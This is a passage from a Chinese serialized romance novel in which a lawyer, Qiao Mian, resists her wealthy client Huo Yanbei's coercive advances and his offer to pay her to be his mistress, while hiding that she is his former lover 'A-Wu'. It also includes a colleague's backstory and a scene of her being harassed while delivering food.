听到‘哥哥’两个字,乔眠抗拒的蹙了蹙眉。 嘴里支吾一声,感觉快要窒息时,猛地睁开了眼睛。 此时,霍宴北正压在她身上,跟她唇齿纠缠…… 大掌在她腰窝处用力揉着。 乔眠惊恐的瞪大了眼睛,勾缠他脖颈上的一双手臂,立马松开后,推他的肩膀,“放……放开……唔。” 察觉到她醒了后,早已满眼浓欲的霍宴北哪里肯放过她。 大手握住她一双纤细的手腕,另一只手扯了领带。 熟练的缠紧,置于她的头顶。 “霍总……你……唔。” 想说的话,被他揉碎进了喉咙中。 她使劲挣扭着被束缚的双手,换来的是越来越凶猛的吻。 熟悉的情景,在脑海中再现。 她又羞又怒。 眼泪顺着眼角,一滴滴滚落下来。 他尝到了眼泪的咸涩味。 以及听到轻微的抽泣声。 霍宴北停了下来。 望着身下泪眼模糊的乔眠,猩红的眼尾渐渐湿润,嗓音哑的厉害,“阿妩,叫哥哥,好不好?” 乔眠怨恨的闭上眼睛,转过脸,不愿看他,“霍总,是不是我叫了,您就能放过我?” 一声霍总,像一盆冰水似的浇在头上。 男人眼底本该是阿妩的那张脸,逐渐变回了乔眠的脸。 “抱歉……” 他沉沉的瘫趴在她颈窝处,嗓音又哑又模糊:“你太像我的阿妩了……” 乔眠无助又凄弱的望着天花板,唤了一声:“哥哥……” 嗓音木然,毫无一丝感情。 霍宴北抬起头,满眼痛色的望着她,“你真的不是阿妩吗?” 乔眠看着这样毫无理智,甚至已经疯了的男人,连跟他争论、恼怒的欲望都没有了。 皙白的手指落在他菲薄的唇上,“霍总,你妹妹开口叫过你哥哥吗?” 一句话,像冰锤似的,将他心里翻涌起的希望砸个稀碎。 是啊,他从未听过阿妩开口说话。 又怎会听过阿妩唤他哥哥? 望见乔眠眼底只有无尽的厌恶和怨恨时,霍宴北的心沉入了谷底。 最后,解开了缠在她双腕上的领带。 甚至做好了被打一巴掌的准备。 但是,乔眠不哭不闹,没有多看他一眼,从床上下来,整理好衣服后,凄冷的声音带着一丝轻颤,“霍总,麻烦把手机还给我,我女儿还在家等我……” 说到这里,眼泪再次涌了出来。 霍宴北愧疚的闭了闭眼后,起身,将搁在床头柜抽屉里的手机递给她,“我没有解锁你的手机。” 乔眠转身,接过手机,装进口袋后,扬起沾着泪水的小脸,哽咽着说:“霍总,我之前在荣华律所缕缕被韩主任骚扰,我是一名律师,最能明白如何用法律保护自己,可是,您知道,我为什么还要一直忍受吗?” 霍宴北目光里多了分怜悯,伸手,想要刮掉她脸上的泪珠时,乔眠退了一步,“因为我得罪不起他,我需要工作,需要挣钱养孩子。” “就像您对我的这些行为,我很不喜欢。” “可是,您是大人物,我又能跟您抗衡什么?即便今晚您欺了我,周一,我还会按部就班的上班,照常唤您一声霍总,听从您所有的命令。” “可是,霍总,您个人的执念,不该毁了别人的生活。” 说完,她擦掉眼泪,转身,朝门口走去。 就在握住门把手时,霍宴北快步走过去,自身后紧紧拥住了她。 “乔眠,我再次跟你道歉。” 他嗓音平静又暗哑。 乔眠低低哭出了声,整具身体都在发颤。 霍宴北收拢双臂,“别哭。” “放开……” 她抽泣着低吼,声音却弱的厉害。 男人将脸埋在她脖颈:“乔眠,你需要钱,是吗?” “是……” 她承认。 但是,不知道他说这话什么意思。 想要转身问他时,霍宴北禁锢住她的腰,让她动弹不了,温凉的薄唇厮磨着她的耳蜗:“乔眠,和我在一起,我会给你很多钱,但是,你放心,我不会和你发生实质性关系。” 乔眠整个人愣住了。 怔了许久后,她转过身,流着眼泪,却悲伤的笑出了声,“您让我当您的情人?” 男人抬手,动作轻柔地拭掉她眼角的泪珠:“随你怎么理解,我只是买和你在一起的时间。” 他直白又真诚。 却让乔眠憎恨到了骨子里。 她语气嘲讽,“当您妹妹的替身?” 男人蹙眉,“乔眠,或许,你觉得,我的提议伤害了你的自尊,但是,你可以换种角度看问题,你缺钱,我花钱买你的时间,这只是一场交易,你应该看重的是价,而不是纠结其他。” 说到这里,霍宴北捏起她的下巴:“乔眠,你有价,且很贵。” 说罢,将一张卡放进她手里,“我没有侮辱你的意思,我只是在跟你谈交易,如果你不愿意……” 说到这里,他附在她耳边,声音变得又冷又霸道,“我也会让你心甘情愿的。” 第52章 拦腰抱起她走到那颗银杏树下 这一刻,乔眠真的是愤恼到极致。 但是,深深的无力感,掏空了她的身体。 只剩下麻木。 孱弱的身体微微一晃,沉靠在门板上。 银行卡锋利的边角,深深陷入掌心皮肉中。 她紧紧咬着唇瓣,声音低弱,带着一丝轻颤:“霍总,您在外面和别的女人做交易,您妻子知道吗?” 霍宴北眉心微蹙。 他和宋蔓假结婚一事,只有几个人知道。 将百荣公司交给她之前,绝对不能爆出假结婚一事,免得将百荣拖入舆论中。 因此,假结婚一事,知道的人越少越好。 虽然,他要乔眠留在身边,但不代表,就信任她。 她的不确定因素太多。 上次因为视频一事,她摆了他一道。 还有,那个轻易就把沈家和黎家两位公子哥送进去的‘悬剑’,是不是她,还有待验证。 乔眠长了一副人畜无害小白兔模样,却也带着一种风险…… 所以,他瞒下自己并未结婚一事,淡声回复:“我的家事,与你无关,也不是你该考虑的。” 乔眠望着他,悲凉的笑了笑。 笑得眼泪都流了出来。 当年,霍宴北就是如此。 和他在一起时,她每天担惊受怕,唯恐被别人窥探到两人不伦的禁忌关系。 哪怕背地里,一次次被宋蔓打骂、羞辱,她除了默默忍受,却没有脸面和立场去为自己剖白。 因为,她就是一个见不得光的情人。 而现在,他又将她置于这种见不得光的身份上。 她第一次觉得,遇上霍宴北,就是一种孽缘。 “霍总……” 乔眠呼吸微颤,深深吸了一口气,“既是交易卖买,那就是图个你情我愿。” 说到这里,她抬步走近他,眼底都是决绝:“我死……” ‘死都不愿意’五个字,呼之欲出时,男人忽然低头,掠住了她的唇。 像是惩罚,咬的很用力。 刺痛感袭来时,乔眠愣了一瞬,疼得支吾出声。 还未来得及做出反应,霍宴北已经松开了她。 男人指腹重重碾过她唇上破皮的地方,“以后,不许在我面前提‘死’字,听见没?” 语气里带着不容违逆的命令。 好像她已经成了他管辖范围之内的囚徒,只有乖乖听从命令的份。 薄软的嘴唇,被他粗粝干燥的指腹揉搓的很疼。 她疼得皱眉,用力推他手腕,却又推不掉。 只得无力的闭上眼睛,一滴眼泪砸下来,是最无声的反抗。 男人望着她视死如归般的倔强面孔,手上用力:“不愿意成这样?” “对,我不愿意!” 乔眠瞪着他的眼眸,红的像是烧了一把烈焰。 霍宴北松开他,轻视又不屑的勾了下唇,“随你。” 他不再禁锢她,乔眠一刻钟都没有多待,抬步就走。 再一次在庭院里转了许久,才寻到大门口走出去。 只是,和之前那次一样,仍旧叫不到网约车。 站在路边许久,最后放弃。 就在她准备给阮薇打电话时,一辆劳斯莱斯从身后开了过来。 和上次一样,男人坐在后车座,神情寡淡的望着她,薄唇抿出两个清冷的字眼:“上车。” 此时,已经十点。 把阮薇折腾过来,至少也得一个小时。 走路回去……怕是走到天亮也到不了家…… 此刻,她才明白,为何他上一次和这一次,这么利索的放她离开。 不过是吃准她,没有他,就无法离开澜园。 乔眠咬了咬牙。 容不得她固执下去,抬步走到车前,拽开车门,坐上了车。 依旧坐在靠车窗的位置。 两人谁都没有说话,一时间,空间有限的车厢内安静的厉害。 仿佛只能听清楚彼此的心跳声,以及细微的呼吸声。 车开出去没多久,霍宴北忽然降下车窗。 冷风呼啸灌进来,激得她浑身打了一个冷战。 下意识拢紧了羽绒服的领子。 不得不转头,随着他的目光落向车窗外。 外面夜色昏暗,还没看清楚他在看什么那么专注时,听到他命令陈珂,“停车。” 车稳稳停在路边后,霍宴北打开车门,身高腿长的下了车。 紧跟着,她那边的车门被打开。 头顶传来男人一道比夜色还要湿冷的声音,“下车。” 乔眠皱眉看了他一眼。 他身体高括的立在眼前,单臂抵在车门上,像一座山似的,极具压迫感。 乔眠抵不过他身上的凛然气场,只得顺从下车。 双脚落地时,霍宴北脱掉身上的外套,罩在她肩上,“陪我走会儿。” “……” 大半夜散步吗? 她微微一怔,被一阵阵刮过来的山风吹得脸颊生疼。 她冻得打了一个哆嗦,只得拢紧肩上的男士外套。 反观霍宴北,外套给了她,身上只有一件黑色高领毛衣, 黑色长裤。 像是一点都感知不到冷似的。 他从口袋摸出一盒烟,弹出一根后,低着头,拢着打火机迸射出来的蓝色火苗点燃后,放在唇边,深深地吸了一口。 烟雾缭绕,朦胧了男人深邃立体的五官,很快又被夜风吹散。 乔眠想开口问他到底要干什么,男人伸手攥住她的手腕,抬步朝前方走去。 她本欲挣扭,可在看到前面不远处的一棵银杏树时,身体微微一僵,顿住了脚步。 “怎么了?” 他回头,带着探究的目光瞅着她。 乔眠抿唇,“我冷,如果霍总想散步的话,您自己去就可以……” 话音一落,男人忽然弯下腰,一把将她打横抱起来,大步流星的朝那颗银杏树下走去。 突然的失重感,吓得乔眠惊呼一声,一双小手下意识攀住了他的脖颈。 她想挣扎跳下去,但是,男人预判了她的动作,先一步收拢手臂,将她抱得死死的。 “还冷吗?” 男人垂眸,瞅她一眼。 乔眠闷闷地摇了摇头。 五六分钟后,霍宴北把她放下来。 他牵着她的小手,走到银杏树下,一句话也没有说。 只是静静地站着。 乔眠望着那颗银杏树,就像把曾经的伤疤剖开一样疼。 这里承载了两人最深刻的一次回忆。 那天,在这颗树下,她疼哭了…… 事后,他紧紧抱着她,“阿妩,不怕,我们会一辈子在一起……” 一辈子…… 呵! 直面过往,乔眠心底钝痛,“霍总,我们来这里做什么?” 第53章 霍宴北舍不得放开她 她故作对这里不熟的样子,问了一句。 男人扭头,目光如深邃的夜,暗沉的没有一丝光亮。 “这是我妹妹阿妩第一次带我爬山的地方。” 说这句话时,他专注的观察着她脸上任何细枝末叶的表情。 像是要在她脸上寻找到什么答案似的。 乔眠压制住胸腔里翻涌的情绪,语气平静的问:“霍总对您妹妹念念不忘,是很喜欢她吗?” 男人沉默了许久,淡声回道:“我对她有愧。” 说完,转身朝车走去。 乔眠呆在原地。 心里比寒风打在脸上还要疼。 原来,他之所以寻她,是因为对她有愧? 后悔他当年弃她于火场? 还是说,打她那一巴掌? 乔眠满目悲凉的望着那颗银杏树,觉得很讽刺。 六年前,她听他的,做一只乖顺的小白兔,心甘情愿的待在他身边,换来一句‘怪膈应的’。 六年后,换来了一句‘对她有愧’。 如果说,他对她有那么一点点感情的话,那么‘对她有愧’便是他给予她的全部了。 此刻,乔眠比任何时候都觉得庆幸,庆幸没有被他认出来,庆幸以后还有机会,离他远远的。 上车后,为了避免和他说话,她靠着车窗假装睡着了。 霍宴北只是静静地看着她,没有打扰她。 车开到弄堂外的路边停下时,乔眠睁开眼睛,对霍宴北说了一句,“谢谢霍总送我回来。” 语气客套又疏离。 说完,把那张银行卡放进他手里。 就在她打开车门下车之际, 霍宴北伸手攥住她的手腕,“这就是你的答案?” 乔眠望着他腕骨上那条核桃红绳手链,眼底蒙上一层潮湿的雾气,“霍总,我是人,不是明码标价的货物,也不是您随意掌控的玩物,更不会……当有妇之夫的情人。” 说完,挣开他的手,下车了。 望着快步走入弄堂的女人,霍宴北疲累的摁了摁眉心。 陈珂打开隔板,扭头,小心翼翼的看着他问:“霍总,您真的对……” 这句话没有说完,因为看到霍宴北的脸色已经沉了下去。 沉默了许久后,他幽幽呢喃一句,“即便她不是阿妩,我也要留她在身边……” 她太像阿妩了。 这些年,他终于找到一个这么像阿妩的女人,他舍不得放掉…… …… 乔眠回到家后,第一时间跑去卧室。 还好,孩子们一个个都睡下了。 在床边坐了一会儿,回到自己房间,拿了一套睡衣,去浴室洗澡。 沐浴后,倒在床上,却是怎么也睡不着。 她摸了摸嘴唇。 被他咬破皮的伤口还在。 今晚他说的那些话,仿佛魔音似的萦绕耳畔。 乔眠烦躁的翻了个身,最后实在睡不着时,只得拉开抽屉,拿出一瓶药,倒出一粒放进嘴里吃了下去。 这一觉睡得很沉。 第二天上午八点多才醒。 还好是周日,可以偷懒。 准备起床时,手机QQ跳出来一条信息。 是班长岳景仪发来的几条留言。 【秦妩,京大百年校庆活动,我希望你能来学校,因为这将是张教授最后一节演讲了。】 【当年,你可是张教授最得意的学生,她现在肺癌晚期,随时都有可能……】 看到最后一条消息时,乔眠不淡定了。 张教授是她大学时,从大一带到大四的法学教授。 她刚上大一那会儿,还没有遇到霍宴北。 她日子很穷困,每个月吃饭的钱,都是各种打零工赚来的。 为了攒学费钱,寒暑假到处打工。 为此还耽误了上课。 张教授得知她的情况后,不仅帮她交了拖欠的学费,还资助她每个月的伙食费。 若是没有张教授的帮助,大一那一年,她真的很难撑下去。 望着这条消息很久,她回了一个字:【好。】 …… 周一。 乔眠刚到公司,又收到一大捧鲜花。 她看都没看,直接给了何眉,“随意处理掉吧。” 何眉啧了一声,“这一束少说也得五六百,真是羡慕啊,要是有个人追求我就好了。” 乔眠没有说话。 何眉瞥了一眼她那光秃秃的手腕,“对了,那男人送你的卡地亚手链怎么没戴?” 乔眠这才想到顾淮年送的那条卡地亚手链,心想一定得尽快找个时间还给他。 她端起水杯,准备出去接水时,正好看到霍宴北站在办公室门口,目光幽冷的看着她。 “霍总……” 她小声打了个招呼。 霍宴北望了一眼她身后办公桌上的鲜花,眉心拧了一下,走进了办公室。 他没理她,乔眠心里也觉得挺别扭的。 这一天下来,只在例会上和他碰到一次。 临近下班时,手机响了一下。 收到一条陌生短信。 【乔小姐,有时间我们可以见一面吗?我觉得我们挺合适的。】 乔眠只看一眼,就删除了。 心想肯定是垃圾短信。 但是,没隔一会儿,又收到不同邀请约会的消息。 还有几通陌生电话。 她以为是推销或是诈骗电话,没在意。 后来,电话和短信轰炸越来越多。 她怀疑自己的手机号被泄露了,于是,只要看到不认识的手机号,一律拉黑或是删除。 并没有把这件事往深处想。 …… 办公室。 陈珂把一个平板电脑放在霍宴北面前:“霍总,乔眠最近在一个婚恋APP上征婚。” 霍宴北皱眉,“征婚?” “具体不清楚,但她确实在征婚……而且在站内人气很高,都上榜一了。” 霍宴北眯了眯眼睛。 看着乔眠的征婚简介。 择偶标准—— 要求有车有房。 身高一米八以上。 帅气。 月薪一万以上。 会洗衣做饭,照顾孩子。 温柔疼老婆,脾气好。 不抽烟不喝酒。 看完后,霍宴北脸色沉了沉,“她什么时候开始征婚的?” 陈珂回道,“有一周多了。” 说到这里,他忍不住笑了下,“乔律师这择偶标准也太低了,月薪才要求男方一万多,这点钱都不够她养孩子的,要是霍总您这条件往那一摆,秒杀全平台啊。” 男人没作声。 脸色却变得很难看。 第54章 他深吻,在他怀中深颤 乔眠刚走出法务部,电话响了。 她折回去接听,话筒里传来霍宴北清冷的声音:“乔律师,到办公室来一趟。” 乔眠神经瞬间紧绷起来,仓惶回了一声‘好’后,对方就挂了电话。 现在是下班时间,也不知道他叫她去办公室干什么…… 自从那晚,他提议跟她交易后,现在跟他同处一个空间,她觉得挺尴尬的。 还有些忐忑。 唯恐他利用职务之便,又对她做出些越轨之举。 她下意识摸了摸嘴唇。 仿佛那晚,他强势与她唇齿纠缠的气息犹在…… 想到这些,呼吸都有些不稳了。 走进总裁办公室后,更是如临大敌。 站得离办公桌老远。 “霍总,您有什么吩咐?” 她局促不安的问。 霍宴北翻了下手里的文件,递过去,“晚上我有个饭局,把这份合同审查完交给我。” 乔眠一怔:“现在吗?” 男人手里还举着文件,见她恨不得站离二里地,对临时加班,还一脸微词的模样,不禁蹙了下眉,“是我的话很难懂?还是要我走过去,亲自送到你手里?” 乔眠听后,慌忙摇头。 走过去接过文件后,抿唇解释,“霍总,因为您临时要我加班,我家里的事情还没来得及安排,所以,能不能换个人帮您……” 说到最后,声音越来越小。 霍宴北身姿慵懒的沉进座椅里,抱着双臂,好整以暇的望着她,“家里的事情……指的是什么?” 乔眠实话实话,“我要在八点半之前,去托班把孩子接回家……” 男人挑眉,明知故问:“所以说,你并没有什么废物男朋友。” 乔眠怔了一下,才想起来,以前撒谎说过自己有男朋友这一茬…… 既然已经被戳破,她干脆承认,“没有……” “为什么撒谎?” 他又问。 “避免异性纠缠……” 霍宴北坐正身体,双手交叉放在桌面上,“你说的异性纠缠,指的是给你送花的顾淮年呢,还是你的甲方老板我?” 乔眠掀起眼皮,和他对视了一眼,又匆匆垂眸。 “是顾淮年。” 她想说,最开始,编出男朋友这个说辞,防的是他。 但是,他刚才强调了自己‘甲方老板’的身份,她还敢实话实说吗? 甲方爸爸得罪不起。 “所以,顾淮年不符合你的征婚条件?” 男人循循善诱的问。 “征婚?” 乔眠一脸懵。 怎么扯到征婚了? 霍宴北眼眸微眯:“乔律师没有在征婚?” “……” 乔眠更懵了。 心想,该不是公司有人传她什么流言蜚语了? 还传到了霍宴北耳朵里? 不过,无所谓了。 之前在荣华律所时,什么造谣没听过? 想及此,她心下一动,顺势把这个‘误会’做实:“嗯……我最近在征婚。” 这样说,或许还能让霍宴北远离她…… 她低着头,心里盘算着小九九,为自己的机智应变感到庆幸时,霍宴北起身走到了她面前。 感受到一道压迫感的注视,乔眠惊愣抬头。 慌得后退一步。 男人一把扣住她的细腰,将她整个人拽进怀里。 手臂用力一提。 乔眠身体腾空,下一瞬,稳稳的坐在了办公桌上。 在她没反应过来时,倾身压下去。 一双手臂撑在她身体两侧,牢牢的将纤弱的女人,囚在高大的身体投下来的阴影里。 “瞧不上顾淮年,那我呢?” 他玩味地看着她,问。 乔眠没想到他在办公室就敢对她不轨,慌措的小脸爆红。 一双小手急忙抵住男人宽厚的肩膀,身体尽可能后仰,和他拉开距离。 可是,他呼吸出来的灼热气息,还是无孔不入的钻进她的鼻息。 乔眠有些羞恼,但又不敢惹他不快。 曾经,这张办公桌上,霍宴北在她身上发起疯来的样子,依旧记忆深刻…… 见她慌得厉害,闷不吭声。 男人修长的手指捏起她的小脸,“说话。” “我……” 乔眠抿了抿唇,“霍总,您已婚,根本不在我的考虑范围之内……” 听到这个答案,霍宴北眼神变得意味深长:“假设我没有结婚呢?” 乔眠觉得他这个假设性问题很可笑,当即反问,“如果霍总单身,而我,与您身份地位天差地别,即便我考虑您,可是,霍先生,您可愿娶我?” 她直接丢给他一记重磅炸弹。 因为,她深知,即便霍宴北没有结婚,也绝不可能和她这样身份地位与他有云泥之别的女人在一起。 她说的在一起,是指娶她,当霍太太。 当年,和霍宴北偷偷谈恋爱时,她就深知自己和他没有未来。 可是,她还是沉沦在那段禁忌的关系无法自拔。 那时候的她,真的太爱他了。 所以,每当他承诺,要和她一辈子在一起时,仅十九岁的少女,心思单纯。 一味把他当做了自己的全世界,幼稚的想,只要他爱她,哪怕当他的地下情人,也无所谓…… 可现在,她早已从那个无知少女蜕变成了一个饱受风霜阅历的孩子妈妈,自己很清楚想要什么。 她绝对不会像当年那样,再一次往同一个火坑里跳。 看着男人的眼神一点点冷了下来。 她弯唇笑了一下,“所以,霍总,无论您是否结婚,您都不在我的考虑之内。” 她以为,自己说的很清楚了,但是,霍宴北却忽然低头,在她唇上咬了一口。 “乔眠,男女之间的关系,并非需要婚姻绑定、维持。” 说着,他扣紧她的后脑勺,轻吻着她的唇角,哑声诱哄:“乔眠,直白告诉你,我需要你,但不会给你任何名分,能给你的只有钱。” 这一刻,乔眠的心像被他狠狠踩在脚底下,反复碾碎。 他这种想法,和六年前一模一样。 只是单纯的需要她。 无关其他。 乔眠愤恼至极,用尽全力推开他,“霍总,我征婚的目的就是正大光明的嫁人,而不是当一个见不得光的情人,请您自重。” 说罢,她从办公桌上下来,拿起那沓文件,颔首道,“我会尽快完成交给您。” 第55章 特别想要留她在身边 望着女人决然逃走的身影,霍宴北心情郁结。 点了一根烟,走到落地窗前,吞云吐雾。 他无意羞辱她。 他只是单纯的想要把一个像阿妩的女人留在身边…… 抱着她,吻着她,就好像阿妩从未离开他一样。 那种感觉太真实了。 …… 乔眠回到法务部,再也控制不住情绪,趴在工位上默默流起了眼泪。 她恨曾经的自己,居然心甘情愿的当了他的地下情人那么多年…… 以前的自己,活得没有自我,满心满眼都是他,可最后,却换得了‘惨死’下场。 从六年前,他弃她于火场那一刻,他就已经亲手杀死了她。 现在,为了弥补自己的愧疚,摆出一副念念不忘的样子,搅和得她新的人生不得不安宁。 他真的太自私了! 半晌,她调整好情绪,揉着泛红的眼眸,抬起头。 却看到周津南不知何时站在她办公桌前。 “周总监……” 一眨眼,一滴眼泪落了下来。 乔眠匆忙抬手擦掉,勉强挤出一抹苦笑:“您不是出差了吗?” 周津南垂在身侧的手,一点点攥成拳头,面上却是平静温和:“嗯,出差结束,刚下飞机就来公司了。” 想回公司看她。 却看到她从总裁办公室哭着跑出来的一幕…… 他整颗心都提了起来。 担心霍宴北认出她…… “您这个点还要回公司,是有工作要处理吗?” 乔眠注意到,他旁边的行李箱,随口问了一句。 周津南嗯了一声,沉默两秒后,问,“乔律师在荣华的合约快到期了吧?” 乔眠不明白他问这个是什么意思,但还是如实回答,“还剩下半年多。” “嗯……” 周津南若有所思的点了下头,望了一眼她面前的文件,“审查合同?” “嗯,霍总急要……” 周津南伸手拿过来,大致翻看了一下,说,“这个项目我很熟悉,交给我吧。” “啊?这多不好意思。” 乔眠没有客套,是真的觉得,自己的工作不应该假手于人。 “无妨,这点工作量,我半个多小时就能处理好,你下班吧,等会我亲自交给霍总。” 说罢,没给她任何拒绝的机会,一手拿着文件,另一只手推着行李箱,回到了自己的办公室。 乔眠掏出手机,给他微信发了一条消息。 【谢谢您,周总监。】 对方很快回复:【如果想谢我的话,改天请我吃饭。】 【好的。】 聊完微信后,她拿起包包走了。 虽然耽误了点时间,但是,紧赶慢赶,接到孩子们时并未迟到。 回到出租屋,做好晚餐,陪孩子们吃完饭后,照常全副武装,出门送外卖了。 骑上电动车,迎着冷风,在人群密集的商圈街道穿梭。 她内心却异常的平静和满足。 没有霍宴北的世界,再委屈,再苦,至少心是安宁的。 …… 出租屋。 客厅里,三个小家伙围坐一起,刷着婚恋APP的主页。 “哇,妈妈很受欢迎啊,这么多人跟妈妈求约会。” 乔慕心指着妈妈照片下面显示999+的评论,惊叹道。 虽然评论区里的字认不全,但是,那些示好的各种表情包,说明妈妈的美貌超级吸量。 乔慕城特别有成就感的扬了扬眉,“这么多人喜欢妈妈,我们一定能给妈妈挑一个好老公,给我们找一个好爹。” 乔慕野:“那我们什么时候告诉妈妈征婚的事情?” “先保密,妈妈那么忙,我们先筛掉一些不符合条件的叔叔,把好叔叔们留下来,让妈妈慢慢挑。” “好耶。” 三个小家伙天真又懂事的为妈妈的终身大事打算。 乔眠却不知道自己已经被她那三个小乖宝挂到了征婚网上。 …… 晚九点。 总裁办公室。 霍宴北翻看完整理好的合同,皱眉睨着周津南:“周总监倒是体恤下属。” 周津南恭敬回道,“霍总,我是看乔律师家里有急事,就让她先下班了。” 霍宴北漆黑的眼眸眯起:“周总监似乎对乔律师很特别,你们以前认识吗?” 周津南唇线紧绷:“不认识。” 随后,又解释:“乔律师虽然不是霍氏的人,但我们同在法务部工作,照顾一下同事,没什么特别的。” 他回答的滴水不漏。 霍宴北却将合同啪一声摔在桌案上。 “周津南,你是不是觉得,从你进霍氏那一天,我就没认出你是谁?” 周津南一向温润平静的脸上浮现一抹冷意。 六年前,他在沪城上大四。 秦妩生日那天,他回到京市,去京大见了她。 那是高中毕业后,两人第一次见面。 两人在食堂吃了一顿小火锅。 那时,她虽然很胖。 那张脸,依旧美得耀眼。 少年青涩的表白没能说出口,却换了以另一种方式问她毕业后,要不要跟他一起去沪城闯荡。 没想到,秦妩答应了。 那时,他高兴的以为终于可以结束多年的暗恋。 可是,那天离开京大时,却被几个人身高马大的保镖绑进了一辆豪车里。 一个冷峻阴郁的年轻男人,居高临下的俾睨着他,岑冷的嗓音带着不可一世的倨傲和戾气:“再敢靠近阿妩,我保证你和你全家,从京市……彻底消失。” 那个年轻男人,就是霍宴北。 只有二十三岁,却一身狠戾之气的霍宴北。 那时,他才知道,原来,秦妩是霍宴北的人。 但是,他不惧他。 可是,抱着侥幸心理回到家时,却看到父母跪在地上,哭着哀求他,“津南,就当爸妈求你了,你以后不许再见秦妩了……” 那时,他才明白,霍宴北究竟有多可怕。 也明白,秦妩是谁都不能触碰的禁忌。 作闪回的画面,在脑子里回放。 周津南拳头攥得生疼。 不禁在想,如果当年的他,再勇敢一些,带着秦妩去沪城,或许他心目中的秦妩,就只是秦妩。 不是什么霍妩,更不是现在过得艰辛的乔眠…… 可是,当年,他退缩了。 放弃了和秦妩的约定。 等再听到她的消息时,是在网上看到的一些新闻,她死在了一场大火中…… 往事回笼,周津南笑得平和:“霍总,没想到您还记得我……” 霍宴北冷笑。 他当然记得。 且记忆深刻。 那年临近寒假,阿妩生日。 他买了生日礼物,去学校接她。 却在食堂里,看到她跟一个男生坐在一起吃饭。 那人便是周津南。 当时,他很生气,扔了生日礼物…… 第56章 他曾抱着她很久很久…… 后来,阿妩得知他扔了给她买的生日礼物后,一直追着他,试图跟他解释。 可是,盛怒之下的他,根本不听她任何解释。 阿妩急哭了,问他把生日礼物扔在哪儿了。 他随手指了下校园里的荷花塘,就愤愤的离开了京大。 并且消失了一天一夜。 只为给她涨点教训。 可是,那一天,她也没联系他。 他更恼了。 后来,当医生给他打电话,他才得知,阿妩那个傻丫头,居然为了找他丢掉的生日礼物,寒冬腊月天,跳进荷花塘里,找了整整一夜。 被同学发现时,她浑身湿透,蜷缩在池塘边,因为失温,冻晕了过去。 等他赶到病房,看到的是阿妩小脸苍白,惶恐不安的跟他打手语:【对不起,宴北哥,我没有找到你送我的生日礼物……】 那一刻,之前对她所有的气恼,瞬间烟消云散。 他心疼极了。 抱着高烧近四十度的阿妩,抱了很久很久…… 直到后来,他也没有告诉她,那个生日礼物根本没丢到池塘…… 他喜欢看她因他而着急、难过的样子。 好像只有这样,他心理上才会得到满足感。 他认为,阿妩根本不应该有朋友,她的世界里,只要有他一个人就够了…… 只是—— 周津南当年认识阿妩,现在跟乔眠似乎很熟。 还处处照顾、袒护。 难道他也觉得,或是已经确定,乔眠就是阿妩? 他甚至怀疑,上次,他质问乔眠为什么会对顶层环境那么熟悉时,周津南及时出现,就是单纯替乔眠解围的…… 诸多怀疑,像一团乱麻,缠在心头。 他直接问道:“周总监对乔律师这么照顾,是不是因为她很像阿妩的缘故?” 周津南神色平静,“霍总,无论是秦妩,还是霍妩,六年前,我就接受了她已经死去的事实。” “是吗?” 男人轻嗤一声。 显然不信。 周津南无所谓的扬了一下眉梢:“不过,乔律师长得好看,性子温婉好相处,确实招人喜欢。” 他回答得挑不出毛病。 却字字刺耳。 尤其是,最后一句‘招人喜欢’。 霍宴北唇线紧抿。 乔眠是挺招人的。 这已经是她招惹上的第几个男人了? 他烦闷的扯了扯领带,瞟向周津南时,对方恭敬颔首,“霍总,如果没别的事情,我先出去了。” “嗯……” 男人鼻音里发出一个单音节,待周津南走后,陈珂走进来,眼见总裁脸色很难看,小声询问:“霍总,乔律师已经走了,那今天这饭局……还去吗?” “去。” 霍宴北将文件放进公文包里,迈着阔步朝门外走去。 陈珂一边跟上,一边打电话,叫来别的法务替补乔律师的空缺。 今晚是正儿八经洽谈合作的应酬饭局。 这个项目,前期已经谈得差不多了,就差今晚临门一脚就签约了。 带上乔律师,纯粹是出于工作考虑。 只是,没想到,乔眠却走了…… …… 夜十点半。 乔眠还在跑外卖。 送了一单远单。 送的还是生日蛋糕。 这对于外卖员来说,是没人抢的风险单。 因为一旦磕碰到,蛋糕很容易破损。 到头来,赚不到跑腿费不说,还得赔偿买家蛋糕钱。 若不是跑腿费高,她也不愿意接。 客户在一家高档会所。 她提着蛋糕,乘坐电梯去了六楼。 找到门牌号后,乔眠抬手敲了敲门。 依稀能听见里面喧闹的厉害,却无人应答。 打电话也不接。 她只好推门走进去。 装修豪华的包厢内,灯红酒绿,烟酒味刺鼻。 四五个年轻男人围坐在一起打扑克,玩拼酒游戏。 身边坐着几个衣着性感的美女。 露骨调情的声音,听得乔眠脸红。 她清了清嗓子,问,“请问尾号3374的顾客在吗?订的蛋糕到了。” 她声音挺大,但还是被吵闹的音乐声盖住了。 只好扬起嗓门,又重复问了一遍。 这才有人发现她的存在。 “呦,蛋糕到了!过来!” 前面沙发上坐着的一个男人摆手招呼她。 乔眠局促的走过去,将蛋糕放在茶几上。 “打开。” 男人吩咐。 “好……” 即便顾客不要求,她也会打开,让顾客检查蛋糕有没有受损。 此时,她单膝跪在地上,小心翼翼的把蛋糕包装拆开。 哪怕穿着宽大的冲锋衣,起身,亦是低着脑袋。 但还是被认出是女的。 男人紧紧盯着女人那双过分纤细白皙的小手,扬眉,啧了一声:“呦呵,还是一个女外卖员,小姑娘,多大了?” 乔眠低声回了一句:“二十六岁。” “我问的不是年龄多大。” 那人盯着她的胸口,调笑。 其他人起哄:“想知道,你倒是扒开看啊。” “滚,我可是绅士手,扒也得姑娘亲自扒才刺激。” “哈哈!” 听着这些恶俗的狎逗,乔眠装作没听懂。 但有时候沉默,却更容易挑起那些人逆反的捉弄心理。 “姑娘,你这年龄可不是嫩的能掐出水的水蜜桃了,包这么严实是怕被谁看了去?” “把头盔和口罩取下来,给爷瞧瞧,看看是不是熟透了?” 戏谑的笑声持续。 乔眠蹙眉:“抱歉,我手头还有其他单子要送,如果您确认好蛋糕无损后,我就点确认收货了。” “怎么,不给面子?” “……” 乔眠转过身,那人起身走了过来。 她后退一步,躲闪间,却被男人粗鲁的扯下了口罩。 那人看到头盔下那张美得动人的面孔时,笑着招呼其他人:“宋少,过来瞧瞧,一个女外卖员的颜值都这么高吗?” 听到‘宋少’这个称谓时,乔眠心里一紧。 没想到遇到了霍宴北的小舅子…… “身材应该挺有料吧。” 说着,伸手要揽乔眠的腰,却被她躲开了。 “先生,请您自重。” 冷冷说完,她转身就走。 另一个男人忽然起身拦住她,直勾勾的盯着她的脸瞅了几秒后,转头,看向包厢里面:“宋少,我怎么瞧着,她就是举报你酒吧的那个女人啊!” 第57章 醉倒进霍宴北怀里 